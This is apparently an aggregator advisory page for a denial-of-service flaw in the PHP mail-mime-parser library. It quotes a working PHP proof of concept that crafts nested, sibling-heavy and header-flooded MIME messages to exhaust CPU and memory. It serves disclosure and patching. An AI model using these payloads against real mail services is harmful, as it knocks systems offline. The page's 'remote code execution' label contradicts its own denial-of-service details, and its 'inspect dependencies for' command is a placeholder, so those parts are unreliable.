CVE-2026-61816: Zbateson/mail mime parser Remote Code Execution Vulnerability

HIGH
Advisory Identifier: GHSA-f6v3-2qmr-vfjx
CVSS 7.5
CWE-400
Published
Advisory Summary

CVE-2026-61816 is a HIGH (CVSS 7.5) remote code execution vulnerability (CWE-400: Uncontrolled Resource Consumption) affecting Zbateson/mail mime parser libraries in the Packagist ecosystem. The issue involves zbateson/mail-mime-parser has uncontrolled resource consumption (cpu/memory dos) parsing untrusted mime. Remediation is available by upgrading affected packages to version 3.0.6, 4.0.2.

CVE-2026-61816 at a Glance

CVE Identifier CVE-2026-61816
GHSA Identifier GHSA-f6v3-2qmr-vfjx
Severity HIGH
CVSS v3.1 Base Score 7.5
CWE Classification CWE-400: Uncontrolled Resource Consumption
Affected Product Zbateson/mail mime parser
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-61816

To remediate this vulnerability, upgrade all affected Zbateson/mail mime parser dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

zbateson/mail-mime-parser fixed: 3.0.6
Upgrade zbateson/mail-mime-parser to 3.0.6
zbateson/mail-mime-parser fixed: 4.0.2
Upgrade zbateson/mail-mime-parser to 4.0.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for zbateson/mail-mime-parser

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-61816, inspect your project dependencies for Zbateson/mail mime parser:

inspect dependencies for zbateson/mail-mime-parser

Analyze the terminal output to locate any version of Zbateson/mail mime parser in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.0.6), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-400: Uncontrolled Resource Consumption, where the product does not properly control the allocation and maintenance of a limited resource. In Zbateson/mail mime parser, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Impact An uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library. Three independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does **not** bound the work done. A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first `getAllParts()` or content read. ### Details 1. **Deep multipart nesting is O(depth²).** `MimeParserService::findContentBoundary()` tests each content line against the current part and every ancestor via the recursive `ParserMimePartProxy::setEndBoundaryFound()`, so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute. 2. **Many sibling parts is O(n²).** `PartChildrenContainer::add()` appends each child with `array_splice($children, count($children), 0, [$part])`, which reindexes the entire array on every call. The same container backs UUEncoded `begin` parts via `NonMimeParserService`. 3. **Header buffering is unbounded.** `HeaderParserService::parse()` reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed. ### Proof of concept ```php composer require zbateson/mail-mime-parser <?php require 'vendor/autoload.php'; use ZBateson\MailMimeParser\MailMimeParser; function nestedMessage(int $depth): string { $head = ''; $tail = ''; for ($i = 0; $i < $depth; $i++) { $head .= "Content-Type: multipart/mixed; boundary=b$i\r\n\r\n--b$i\r\n"; } return $head . "Content-Type: text/plain\r\n\r\nx\r\n" . $tail; } function siblingMessage(int $n): string { return "Content-Type: multipart/mixed; boundary=b\r\n\r\n" . str_repeat("--b\r\nContent-Type: text/plain\r\n\r\nx\r\n", $n) . "--b--\r\n"; } function headerMessage(int $n): string { return "From: a@b\r\n" . str_repeat("X-H: v\r\n", $n) . "\r\nbody\r\n"; } function measure(string $label, string $raw): void { $t = microtime(true); count((new MailMimeParser())->parse($raw, false)->getAllParts()); printf("%-22s input=%5.2f MB time=%6.2f s peak=%6.1f MB\n", $label, strlen($raw) / 1048576, microtime(true) - $t, memory_get_peak_usage(true) / 1048576); } measure('nesting depth=2000', nestedMessage(2000)); measure('siblings=50000', siblingMessage(50000)); measure('headers=300000', headerMessage(300000)); ``` Run with a raised memory limit so the header case does not abort early: php -d memory_limit=2048M poc.php // nesting depth=2000 input= 0.13 MB time= 2.08 s peak= 30.0 MB // siblings=50000 input= 1.72 MB time= 5.11 s peak= 276.0 MB // headers=300000 input= 2.29 MB time= 0.40 s peak= 380.3 MB ### Patches Fixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions. Versions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.) ### Workarounds These costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host. - Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.

CVE-2026-61816 Affected Zbateson/mail mime parser Versions

2 component(s)
Fixed Versions:
3.0.64.0.2
Product / Package Ecosystem Affected Versions Fixed Version
zbateson/mail-mime-parser
Packagist
≥ 2.0.0
< 3.0.6
3.0.6
zbateson/mail-mime-parser
Packagist
≥ 4.0.0
< 4.0.2
4.0.2

References

Frequently Asked Questions

What is CVE-2026-61816?
CVE-2026-61816 is a security vulnerability in Zbateson/mail mime parser involving zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME under CWE-400: Uncontrolled Resource Consumption.
Which Zbateson/mail mime parser versions are affected?
Affected versions include releases prior to 3.0.6, 4.0.2 across affected packages: zbateson/mail-mime-parser.
What version fixes CVE-2026-61816?
Upgrading to 3.0.6, 4.0.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is zbateson/mail-mime-parser affected?
Yes, zbateson/mail-mime-parser is affected in releases prior to 3.0.6, 4.0.2. Upgrade your dependency to 3.0.6, 4.0.2 or later.
What is the CVSS score of CVE-2026-61816?
CVE-2026-61816 has a CVSS v3.1 base score of 7.5 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H.
What CWE is associated with CVE-2026-61816?
CVE-2026-61816 is classified under CWE-400: Uncontrolled Resource Consumption (The product does not properly control the allocation and maintenance of a limited resource.).
How can I check Packagist dependencies for CVE-2026-61816?
Run the dependency tree command: 'inspect dependencies for zbateson/mail-mime-parser'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-f6v3-2qmr-vfjx",
  "modified" : "2026-09-24T19:45:05Z",
  "published" : "2026-09-24T19:45:05Z",
  "aliases" : [ "CVE-2026-61816" ],
  "summary" : "zbateson/mail-mime-parser has uncontrolled resource consumption (CPU/memory DoS) parsing untrusted MIME",
  "details" : "### Impact\n\nAn uncontrolled resource consumption / algorithmic complexity vulnerability affecting any application that parses untrusted email with this library.\n\nThree independent parsing paths are super-linear in cost, so a byte-size cap on the caller side does **not** bound the work done.  A crafted message under 2 MB can consume seconds of CPU or hundreds of megabytes to multiple gigabytes of memory (leading to an out-of-memory kill), enabling denial of service. The parse is lazy, but the cost is paid on the first `getAllParts()` or content read.\n\n### Details\n\n1. **Deep multipart nesting is O(depth²).** `MimeParserService::findContentBoundary()` tests each content line against the current part and every ancestor via the recursive `ParserMimePartProxy::setEndBoundaryFound()`, so a nesting depth of D costs 1 + 2 + … + D comparisons. A ~600 KB message nested ~10,000 deep does not finish parsing in a minute.\n2. **Many sibling parts is O(n²).** `PartChildrenContainer::add()` appends each child with `array_splice($children, count($children), 0, [$part])`, which reindexes the entire array on every call. The same container backs UUEncoded `begin` parts via `NonMimeParserService`.\n3. **Header buffering is unbounded.** `HeaderParserService::parse()` reads header lines up to a blank line with no limit on header count or total size, so a few megabytes of header lines can hold hundreds of megabytes resident; a ~5 MB message of headers can reach multiple gigabytes and be OOM-killed.\n\n### Proof of concept\n\n```php\ncomposer require zbateson/mail-mime-parser\n\n<?php\nrequire 'vendor/autoload.php';\nuse ZBateson\\MailMimeParser\\MailMimeParser;\n\nfunction nestedMessage(int $depth): string {\n    $head = ''; $tail = '';\n    for ($i = 0; $i < $depth; $i++) {\n        $head .= \"Content-Type: multipart/mixed; boundary=b$i\\r\\n\\r\\n--b$i\\r\\n\";\n    }   \n    return $head . \"Content-Type: text/plain\\r\\n\\r\\nx\\r\\n\" . $tail;\n}\nfunction siblingMessage(int $n): string {\n    return \"Content-Type: multipart/mixed; boundary=b\\r\\n\\r\\n\"\n        . str_repeat(\"--b\\r\\nContent-Type: text/plain\\r\\n\\r\\nx\\r\\n\", $n) . \"--b--\\r\\n\";\n}\nfunction headerMessage(int $n): string {\n    return \"From: a@b\\r\\n\" . str_repeat(\"X-H: v\\r\\n\", $n) . \"\\r\\nbody\\r\\n\";\n}\nfunction measure(string $label, string $raw): void {\n    $t = microtime(true);\n    count((new MailMimeParser())->parse($raw, false)->getAllParts());\n    printf(\"%-22s input=%5.2f MB  time=%6.2f s  peak=%6.1f MB\\n\",\n        $label, strlen($raw) / 1048576, microtime(true) - $t,\n        memory_get_peak_usage(true) / 1048576);\n}\n\nmeasure('nesting depth=2000', nestedMessage(2000));\nmeasure('siblings=50000',     siblingMessage(50000));\nmeasure('headers=300000',     headerMessage(300000));\n```\n\nRun with a raised memory limit so the header case does not abort early:\n\nphp -d memory_limit=2048M poc.php\n// nesting depth=2000   input= 0.13 MB  time=  2.08 s  peak=  30.0 MB\n// siblings=50000       input= 1.72 MB  time=  5.11 s  peak= 276.0 MB\n// headers=300000       input= 2.29 MB  time=  0.40 s  peak= 380.3 MB\n\n### Patches   \n\nFixed in 4.0.2 and 3.0.6. The fixes add configurable limits on multipart nesting depth and on header count / total header size (recording a parse error past the threshold rather than throwing), and change sibling append to O(n). Users should upgrade to one of these (or later) versions.\n\nVersions 2.x are also affected but are end-of-life and will not receive patches; users on those lines should upgrade to a fixed release. (Versions prior to 2.0 used a different parser and are not affected by all three paths.)\n\n### Workarounds\n\nThese costs are super-linear, so an input byte-size cap alone does not bound them. Until upgrading, restrict exposure of the parser to untrusted input, and run parsing under a constrained memory_limit and execution time limit so a malicious message fails its own request rather than exhausting the host.\n\n\n- Found and reported privately by Ilia Alshanetsky (@iliaal), who also proposed fixes that informed the patches.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "zbateson/mail-mime-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.0.0"
      }, {
        "fixed" : "3.0.6"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "zbateson/mail-mime-parser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.0.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/security/advisories/GHSA-f6v3-2qmr-vfjx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-61816"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/commit/1691e695821f70461f9554e9bb71be2859404a24"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/commit/fa44823ba9dd651e0eecec7aa45ac8c8e6afcb78"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/zbateson/mail-mime-parser"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/releases/tag/3.0.7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/zbateson/mail-mime-parser/releases/tag/4.0.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-400" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-09-24T19:45:05Z",
    "nvd_published_at" : "2026-09-24T18:17:17Z"
  }
}